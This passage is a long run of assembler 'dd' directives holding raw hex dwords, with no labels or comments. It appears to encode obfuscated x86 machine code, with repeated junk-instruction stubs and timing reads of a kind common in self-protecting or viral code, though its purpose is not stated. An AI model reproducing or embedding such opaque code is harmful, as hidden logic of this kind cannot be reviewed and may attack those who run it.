4D2FAD85h, 880D06h, 958B0000h, 64D0599h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 51C35646h, 8B6021BAh dd 4D2CF9BDh, 1D8D8B06h, 8B064D05h, 4D2DDD9Dh, 0C28B5006h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 4F62C356h, 0C06C3596h, 860FBDE8h, 6, 28CD9D8Bh, 0BD83064Dh dd 64D1C45h, 6B840F00h, 0B8000000h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 43C35747h dd 0E58D8D19h, 6A064D4Dh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0C09AC355h, 6C0598D6h dd 9E9h, 22618500h, 0F3BFD1ECh, 830FEB15h, 6, 20099D8Bh dd 0E1FF064Dh, 5EC0E781h, 0BD837239h, 64D02E9h, 0E2840F00h dd 66000004h, 0E8F6CF81h, 2E9BD83h, 0F01064Dh, 4EB84h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 10E80F2Eh, 61000000h, 0D0F86E08h, 2A115ABAh dd 0B4996989h, 1186E68h, 4D2765BDh, 0BD835B06h, 64D02E9h dd 6F860F03h, 53000004h, 328DBD8Bh, 605B064Dh, 66DABF0Fh dd 9D33D98Ch, 64D1B29h, 6A04E180h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 8AC8C356h dd 31511175h, 4D269995h, 0C90A5B06h, 121840Fh, 8BF90000h dd 4D187985h, 35BD2B06h, 33064D21h, 4D063985h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0B20379CAh, 96AC0A2Eh, 830F3D84h, 1, 0C18D89F9h, 90064D1Bh dd 86BB66h, 8B669050h, 6A006ADEh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0CB2DC350h dd 7063C403h, 0DEBF0F98h, 4E8h, 1F03FF00h, 7BBBF00h, 8A501E4Ah dd 24448BD8h, 2820F04h, 8B000000h, 50008BDFh, 0E0BB6652h dd 0F310F14h, 386h, 0F88B6600h, 4489585Ah, 0F88A0424h dd 0B195FF58h, 0E9064D0Eh, 14h, 68F1539Dh, 0BC7C42E5h dd 0AE9F63Eh, 16FD2A8Dh, 8DCA4B85h, 0B7958589h, 81660650h dd 0E9FA33C7h, 14h, 0CF94BA22h, 2FBC9BC6h, 0C4FA4AFCh dd 0FF88FFB8h, 3F127CD8h, 266E9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0BCA26848h dd 75231EE4h, 0D99D89B0h, 8B064D0Bh, 50B78D85h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0A0FE583Ah, 0E960F5DEh, 8, 0F5A719ACh, 628587FDh, 0B800Fh dd 5E80000h, 55000000h, 0FB4B34C3h, 0FA8A615Eh, 1800C7h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 175784C3h, 0E9DA8B66h, 0Bh, 8EDC67D2h, 6628BD37h dd 8B74FB3Bh, 50B791B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 4D50CAB4h, 858B4270h dd 64D32E5h, 0B959531h, 689064Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0CAC35747h, 0BDBDEAFFh, 0BC82D4E6h dd 79858BC4h, 6A064D18h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 687DC351h, 0CEF99C81h dd 4468902h, 0C3805056h, 965B5F82h, 12E9h, 238F2600h, 0E64E0274h dd 0AC148B27h, 0BC5EEEF8h, 5076EE00h, 56525250h, 310F5B5Fh dd 13E950h, 42580000h, 0E5063731h, 55F710h, 97C62341h dd 5595C29Eh, 585A5BA6h, 11E996h, 0FC8D0000h, 30881A20h dd 4D48052Ch, 25AB6B58h, 0FF591529h, 50B78DB5h, 0DEBF0F06h dd 268D9D09h, 0D668064Dh, 5709EDBDh, 8B665250h, 0E9310FF9h dd 13h, 5BC109A4h, 20444428h, 0C6092352h, 0F2D1492Dh, 5A04834Ch dd 34815B58h, 0F2BE2924h, 7121BF09h, 858D658Fh, 650B795h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0EC35747h dd 42CE39F6h, 90102D17h, 3D43BF66h, 6A9050h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 5AA2A6C3h dd 3E019C29h, 870F77E1h, 8, 2850Fh, 61600000h, 54D38166h dd 35B5092Bh, 0FF064D18h, 4D0EB195h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0F9BB23Eh dd 28Fh, 61DC8A00h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 3BC35141h, 27FFBD8Ch, 0E93CE51Ah, 10h dd 0B0E0F81Eh, 103D61E6h, 86B72A3Fh, 696636ABh, 2E985C7h dd 3064Dh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 14F799C3h, 9D8906F8h, 64D037Dh dd 0B795BD83h, 0F000650h, 5584h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 2CEF99Ch, 42D42630h dd 48E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 0F4A59BEh, 682h, 0DBD8B00h, 0F064D20h dd 3050D9BFh, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 0BDBD8BC0h, 52064D1Ah, 835BFA8Ah, 4D02E9BDh dd 850F0306h, 445h, 6830Fh, 85290000h, 64D0D91h, 0B795BD83h dd 0F000650h, 42C84h, 819D0B00h, 0F064D1Fh, 0B5FFF8BFh dd 650B795h, 549B589h, 95FF064Dh, 64D2D99h, 0C1BBC9BFh dd 0DAB70F42h, 0B789B58Bh, 0BD290650h, 64D2951h, 106C7h dd 0B5890001h, 64D0721h, 52506096h, 0E1166CBBh, 0B0310F31h dd 61585A11h, 8B605050h, 11E8C3h, 0CB0000h, 757DF527h dd 0F925FBEAh, 8B7871A5h, 5E4BC507h, 6A965B61h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 0E5F3C352h, 1B7861BBh, 0B5FFC2C8h, 650B795h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 8BC35646h, 0FF4288ECh dd 4D308D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 5523BE72h, 10E884h, 653A0000h, 10BAE66Bh dd 2C1C3F32h, 81674D51h, 7E9D0E1h, 0E1000000h, 8629D4A3h dd 8B5B08A5h, 50B789B5h, 719D0106h, 0F064D14h, 858BFFB7h dd 64D2385h, 24458D29h, 8166064Dh, 894DF3D7h, 0C486h, 0E416BF00h dd 958B0FF8h, 64D0599h, 83FAB70Fh, 6A04C2h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 66FC2FC3h dd 8903DBBFh, 9AB72050h, 0CBF0858Dh, 6A0650h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 16A3DBC3h dd 619D2BD3h, 89064D0Ah, 0B886h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 6AF8ACA4h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 0B7B97EE1h, 546F154Fh, 8B665B4Bh, 95B5FFDAh dd 600650B7h, 23419D8Bh, 810F064Dh, 1, 95FF61F5h, 64D2431h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 8EC35242h dd 0A7380EF5h, 8D091EAAh, 64D1FB9h, 6696FD8Ah, 6050F88Bh dd 0BE8h, 89DAFD00h, 0FC4E98B9h, 2362517Bh, 6A966158h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0F778C357h, 0B795B5FFh, 6A0650h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 62340CC3h, 6027C68h, 0D88BC4DAh, 11E9h, 5853AE00h, 46364B41h dd 61676DDDh, 0C3754C6Ch, 95FF1694h, 64D2CC1h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0ECC35747h, 48D83B0Dh dd 220DBD23h, 0BD83064Dh, 64D32A5h, 56840F00h, 96000000h dd 8B605250h, 59EB8FBh, 0F612C13h, 12E831h, 0E6570000h dd 0FA4E6Eh, 9DFBC2BCh, 52EDDF97h, 9968E5CEh, 5A5F5F50h dd 66605058h, 66062CBBh, 619E87BEh, 53006A96h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8B5440CAh dd 95B5FFDFh, 660650B7h, 82FAEB81h, 17C595FFh, 6A064Dh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 1EB337C3h, 0FEE38166h, 95B5FF86h, 6A0650B7h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 0BB2FC352h, 3C2C1963h, 1ABCCF81h, 4FBB638Eh, 0FF72467Fh dd 4D29B995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 0C8547E02h, 8B371B55h, 4D05A59Dh dd 5BD8306h, 2064D15h, 5F840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 0B34475C3h dd 8B3D2493h, 0A9858BFEh, 6A064D15h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0D5DFC357h dd 4CD86FE9h, 5E952h, 7FAE0000h, 5BC568D1h, 8B0000C6h dd 4D143DBDh, 1185C706h, 64D21h, 8B000000h, 4D0EADBDh dd 0F262E906h, 6AFFFFh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 4F1A31C3h, 0C18BF5BEh, 11E8h, 2C98B700h dd 0DDF5872Dh, 1E05529Ah, 0F267A892h, 57BF6072h, 5B66A06Dh dd 735858Dh, 6A064Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 7E0EA3C3h, 0E959AFC8h, 90B5AB1Bh dd 8E9h, 2512D200h, 3A380BEAh, 61B75004h, 81665790h, 5F8609CBh dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 0B257DC3h, 0D6D8094Dh, 0DA8B5060h, 6AF55Fh dd 2BADB589h, 858D064Dh, 6517567h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 2C35343h, 0B1DC605Dh, 0A5A42A7Ah dd 8339B7BEh, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0EB566C3h, 394770F8h, 5685C781h dd 0E8902D21h, 0Dh, 9E8979F0h, 3CAA5D1Ch, 87F0367Dh, 5FFB8B1Eh dd 7E850h, 6CFA0000h, 0D826DCFFh, 0DF8B60CDh, 5B616160h dd 6AF590h, 5A5BD23h, 6A064Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 34C35646h, 566DDF17h, 0B18D895Bh dd 0FF064D11h, 4D114995h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8BDA3444h dd 4D11B99Dh, 138D8D06h, 8906509Ah, 4D0D859Dh, 6AD1FF06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 670BC351h, 9BFDA1FFh, 0E250994Dh, 3CE78166h dd 81BD832Ah, 1064D12h, 47850Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 6AB0B4C3h dd 787B4519h, 26AF865h, 0E2DB501h, 5090064Dh, 8B90FA8Bh dd 3195FFDAh, 0E9064D24h, 9, 0B2B5B248h, 190EC400h, 0E85E921h dd 0E80000h, 5D000000h, 7571ED81h, 8D090651h, 64D1E0Dh dd 30699531h, 858D064Dh, 6508A57h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 95C35040h, 61A9A6D1h, 545ED61Eh dd 2D69BD8Bh, 5090064Dh, 8DB75052h, 0BF310F5Bh, 2C15D828h dd 8A50585Ah, 8D3190FCh, 64D0D6Dh, 35FF64h, 8B000000h dd 4D0731BDh, 25896406h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 4FC35242h dd 0C265BBD9h, 8B1F9ECAh, 4D2AE99Dh, 1585FF06h, 6A064D18h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 5549C356h, 2835BD09h, 0FF6A064Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 66C35242h, 2D8FD053h dd 27B19529h, 0B5FF064Dh, 64D3229h, 14E9h, 0FF01BF00h dd 3141FE5Bh, 7F89A874h, 3E079E42h, 5539FFAFh, 1195FFD2h dd 0E9064D04h, 128h, 0D118D89h, 0B0064Dh, 11820F60h, 0E9000000h dd 0Ch, 872E79BFh, 0C02062FCh, 5CD8DF1Ch, 114D8501h, 0E661064Dh dd 3171E470h, 4D14ED95h, 0F613C06h, 0EF83h, 0FA8B6600h dd 2BC8B60Fh, 4D2AC99Dh, 6BA06h, 0E8500000h, 5, 8F0E823Eh dd 25BD897Bh, 5B064D10h, 89C18B5Fh, 4D3239BDh, 4E8C106h dd 7E8h, 1E74CF00h, 186DF473h, 6880Fh, 0D7810000h, 5BF63BDCh dd 0E2F7665Bh, 0E0D8D89h, 0C82B064Dh, 8E9h, 21031600h dd 0B86C0DCFh, 59D3157h, 8B064D0Ch, 31E3BBD1h, 0E907B9h dd 8B000000h, 4D0D8985h, 89DF8106h, 8341E956h, 0DE8B07C0h dd 5000C083h, 29C58531h, 3B5F064Dh, 23830FD0h, 8B000000h dd 4D18819Dh, 10E906h, 0B3150000h, 0DFBC2B92h, 9F8B50B8h dd 0B7F46D58h, 39E991A0h, 66000000h, 8D8BFB8Bh, 64D0C3Dh dd 83DF8B66h, 840F01E1h, 24h, 1BC1B531h, 0A583064Dh, 64D0C3Dh dd 2D9D01FEh, 89064D31h, 4D0D8995h, 0F9B50106h, 0E9064D2Ch dd 0 dd 0FD41B58Dh, 6A0650h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0EDC35646h, 1195FF02h, 6A064D05h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 5661C351h, 9D8BB678h, 64D2E5Dh, 86CB9h, 93A5BB00h, 0E1835AA7h dd 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 78E3569Ah, 5BBAB3BDh, 81FCCC6Bh, 48109FEFh dd 0DBB70F18h, 0B8h, 0BADE8B00h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 59C35040h dd 0B9BD8B69h, 29064D1Eh, 4D32518Dh, 0C233AD06h, 0D003E8D1h dd 7504E983h, 53006AF4h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 359D8B71h, 0E9064D2Eh, 14h, 9DD99924h dd 8D47F43Dh, 9DD59B25h, 0BC32E7C1h, 104C3994h, 880Dh dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 1FCD2E5Fh, 1DBD8B1Dh, 8B064D12h, 4D059995h dd 0FEB70F06h, 0A72BBB66h, 51D8D8Bh, 0BB66064Dh, 0CE8259Bh dd 12000000h, 75E4E908h, 0F517DA4Bh, 8BE900EDh, 8B505FDFh dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0A4C35747h, 0DB816626h dd 6A4676h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 858906C3h, 64D1B79h, 40DB589h, 0BD83064Dh dd 64D1C45h, 9E840F00h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 38C7C356h dd 1BD8B51h, 5F064D04h, 0B8h, 0C3806000h, 0F9A9BF45h, 0E9615E35h dd 6, 0A94A45EEh, 8D8DE83Dh, 64D4DE5h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0FC35343h, 0E4DF58D1h, 0E1163113h dd 0BD89F5DFh, 64D0459h, 6AE1FFh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 0A3D9A7C3h, 5C7ADB0Ch dd 99D89E1h, 8A064D05h, 0E9BD83FAh, 64D02h, 4E1840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 69A43EC3h, 0FC473DEEh, 5E848A2h, 0DD000000h, 293FA587h dd 12859D33h, 835F064Dh, 4D02E9BDh, 840F0106h, 4BAh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0DDC35040h, 5207A31Ah dd 2EAD9D89h, 8B5F064Dh, 0E9BD83DAh, 3064D02h, 44E860Fh dd 0CF800000h, 8E9605Ah, 1A000000h, 1C31F989h, 66EE825Eh dd 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0CEC327C3h, 5576D0E4h, 0E1802339h, 50006A04h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0E8C58C83h, 14h, 8EA3D368h, 0AAB9AACh, 1461FF27h, 0FB6429B2h dd 72DC8BEFh, 1B3DB529h, 0A5B064Dh, 2B840FC9h, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 9CAAC352h, 0DADCF3D8h, 0A49333D2h, 0FDD78166h dd 79858BD0h, 53064D18h, 0A22AE781h, 0B5F3CE5h, 4D2F61BDh dd 39853306h, 6A064D06h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 3959C353h, 8991E91Fh dd 77A38A66h, 2840F50h, 0B7000000h, 240489D5h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 21C35040h, 0A73BE290h dd 265962F7h, 89DA8B66h, 4D0AC195h, 6A006A06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 806DC357h, 98C78BB8h, 68C1F71Ch, 0A977CD96h, 481FE8Bh dd 0A7366924h, 0EE856h, 0FAE20000h, 8B67172Ch, 0DA57D1D4h dd 1501B5FBh, 8B665BF9h, 0B195FFD8h, 89064D0Eh, 4D1ED595h dd 95858906h, 6A0650B7h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0D7C7C356h, 0E9F2CA0Eh dd 206h, 7CC8E781h, 858B469Dh, 650B78Dh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 14h, 0F0C35343h, 0B11547BBh dd 1800C767h, 81000000h, 0B4FA65EBh, 91B58B17h, 0E90650B7h dd 9, 140C4E68h, 0C999F4FFh, 0E5858B56h, 6A064D32h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 0C318C350h, 0CDFCE8C9h, 7D9D8B95h, 0BF064D0Ah, 5056A812h dd 6A0689h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0C76CE2C3h, 8BDCE2A3h, 4D2DF1BDh, 79858B06h dd 8B064D18h, 4D1641BDh, 4468906h, 2911BD8Bh, 6650064Dh dd 8937F3BFh, 0B5092434h, 64D25BDh, 0B78DB5FFh, 6A0650h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0A415E2C3h, 0DE9867Eh, 0CB000000h, 40FEF81Ch, 67C77078h dd 26C680FBh, 4E8h, 1F03FF00h, 12E95000h, 3B000000h, 0ED986EE8h dd 0BC33F5E5h, 0E1A83C07h, 0C31480B9h, 24448B65h, 0BE804h dd 0B3B20000h, 0C6BD5DC1h, 61DBE919h, 5F5F5118h, 890F008Bh dd 2, 4489DE8Bh, 10E90424h, 92000000h, 885CD333h, 9C7A1B52h dd 53331288h, 5888F68Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 0B1C35242h, 0F487115h, 38Ah, 0B0F78000h dd 1874BF66h, 0B795858Dh, 6E90650h, 5F000000h, 80C8B959h dd 0BB66504Dh, 4892B33h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 6A659382h, 43D077FCh dd 0EE9h, 88017E00h, 0FFB19B41h, 2A4A4C8Bh, 0FF8E3F94h dd 4D0EB195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 85898A60h, 64D2B7Dh, 6061F98Ah, 14E9D08Bh dd 37000000h, 0FE1A8674h, 7AB4E3F2h, 0A312185Fh, 2EBAFC7Fh dd 610E05C2h, 2E985C7h, 3064Dh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 4377E5C3h dd 7840F29h, 60000000h, 8B666160h, 0BD0361F0h, 64D303Dh dd 0B795BD83h, 0F000650h, 3B84h, 2412BB00h, 4CE9224Dh dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0CE85C352h, 2386FF56h, 0D630F9Dh dd 28F9B589h, 9D03064Dh, 64D0591h, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 0E8C08B00h, 14h dd 8F663470h, 37E98D63h, 0DFF4352Eh, 73944E60h, 621D7F0Ah dd 5BDF8B66h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 1EC35747h, 88631CC4h, 0E9BD8363h, 3064D02h, 43D850Fh dd 7E80000h, 60000000h, 0B54B3E0Bh, 0BD0146D1h, 64D0319h dd 95BD835Bh, 650B7h, 41D840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 6C83B4C3h dd 0DD8AF88Bh, 0B795B5FFh, 6A0650h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0F23323C3h dd 6EC67886h, 810Fh, 0CB810000h, 0E1FF0C8h, 2D9995FFh dd 2960064Dh, 4D2FDD8Dh, 0B58B6106h, 650B789h, 13E8h, 8D3CDA00h dd 0ECC46E3Ch, 5D13B0F3h, 0DA0D2587h, 0B2EFACF9h, 0C75FF98Bh dd 1000106h, 0D5BD0300h, 50064D06h, 310F5250h, 0D98B5250h dd 5250310Fh, 585A310Fh dd 585A585Ah, 8B243489h, 4D2665BDh, 95B5FF06h, 6A0650B7h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 648BC356h, 8DA0A30Dh, 0A450AB58h, 21BD8D89h dd 95FF064Dh, 64D308Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 70C35242h, 9F232810h, 0F9BD0E60h, 4CBB664Dh dd 0B58BF940h, 650B789h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 4FC35747h, 9815CE42h, 2385858Bh, 6A064Dh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0FFC980C3h, 64E25B53h, 8166883Ah, 893006DFh, 0C486h dd 0A99D8B00h, 8B064D23h, 4D059995h, 959D2B06h, 83064D2Ah dd 6A04C2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 2814E7C3h, 66091B57h, 970AC381h, 0E6A303BBh dd 20508964h, 7E8h, 92163000h, 0C2979A10h, 0BE8h, 19CDD800h dd 859448E6h, 0A1962311h, 24819529h, 5B5B064Dh, 2799BD8Bh dd 858D064Dh, 650CBF0h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 66C35646h, 0B589A5F1h, 64D332Dh, 0DE8h dd 0D0D59400h, 0BA154011h, 0CB49A7ADh, 9589FE8Fh, 64D21A9h dd 8689F55Bh, 0B8h, 68F0Fh, 9D8B0000h, 64D0AD9h, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0CC6300C3h, 8BBF66CCh, 6870F2Fh, 8B000000h, 4D2E759Dh dd 95B5FF06h, 890650B7h, 4D2B6DBDh, 95FFFC06h, 64D2431h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0A1C35343h dd 0FE1E39A6h, 1FF03E2Eh, 0E8F0F50h, 50000000h, 0D88B6652h dd 0C0BB310Fh, 5A157BBEh, 24348958h, 0AE9h, 48B78C00h dd 2CF0958Fh, 0FF3502C5h, 50B795B5h, 0C195FF06h, 6A064D2Ch dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0CA07C355h, 25E2E2A1h, 62BB66FAh, 0F9E38080h dd 32A5BD83h, 0F00064Dh, 1284h, 0DFBF0F00h, 0FE8B6696h dd 0F88B6650h, 0AD9D8996h, 0FF064D29h, 50B795B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0A1F77CABh, 8A6FAB05h, 6E962h, 0D8790000h, 9593B2A6h dd 17C595FFh, 8E0F064Dh, 5, 8972B4BBh, 95B5FF6Ch, 6A0650B7h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0B697C355h, 30F5D0F9h, 0C38166F3h, 95FF305Ch dd 64D29B9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0E7C35141h, 0BD839A1Dh, 64D1505h, 5E840F02h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0A009C357h, 858B24F3h, 64D15A9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 27C35040h, 0E9FE33CFh dd 0B70F5842h, 0C6D9h, 0CE9h, 0ABAF2A00h, 7488BE09h, 6EF5EE91h dd 1185C723h, 64D21h, 0E9000000h, 0FFFFF26Eh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 18C35343h, 66E14C58h dd 8BC1F7BFh, 698D89C1h, 8D064D11h, 4D073585h, 0D59D2906h dd 90064D0Eh, 148F0Fh, 0FE90000h, 0E000000h, 0EC778867h dd 0D8FE40D4h, 0BFC940B5h, 9050D3BBh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 0DCC35747h, 8B60C439h, 4D11A9BDh dd 0E2EA8106h, 61331349h, 9890Fh, 860F0000h, 3, 6A07C780h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 6683C08Dh, 6ADF8Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 0ADC35747h, 1DE9BD8Bh, 858D064Dh dd 6518628h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 25C35141h, 0B67E54B4h, 28359D8Bh, 0C083064Dh, 94D38005h dd 30618D89h, 6650064Dh, 489DF8Bh, 55958924h, 6A064D11h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0AE147D7Ah, 15B882Bh, 5E943h, 0EEC50000h dd 6AA49EA1h, 8800F00h, 56000000h, 2E18D09h, 0FF5F064Dh dd 4D114995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 4CD976FCh, 9A138D8Dh, 6A0650h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0AE518FC3h, 0AE8C51Eh, 0D3000000h, 6135DDDEh, 6FA28D72h dd 0D1FF5F1Bh, 1C860Fh, 10E80000h, 12000000h, 0A86E4E4h dd 0D66C83B4h, 0A18BC2ACh, 29EF1AD1h, 4D2835B5h, 0BD835F06h dd 64D1281h, 7B850F01h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0BF95C355h dd 444B3931h, 9D03026Ah, 64D2945h, 13E850h, 51140000h dd 7C9921E5h, 20EFCA5Dh, 4032A357h, 9F3A352Ch, 8D0F31h dd 5F000000h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 79C5C355h, 0AC1CBFD4h dd 8B667CA0h, 3195FFFBh, 66064D24h, 42E9F88Bh, 0E800000Fh 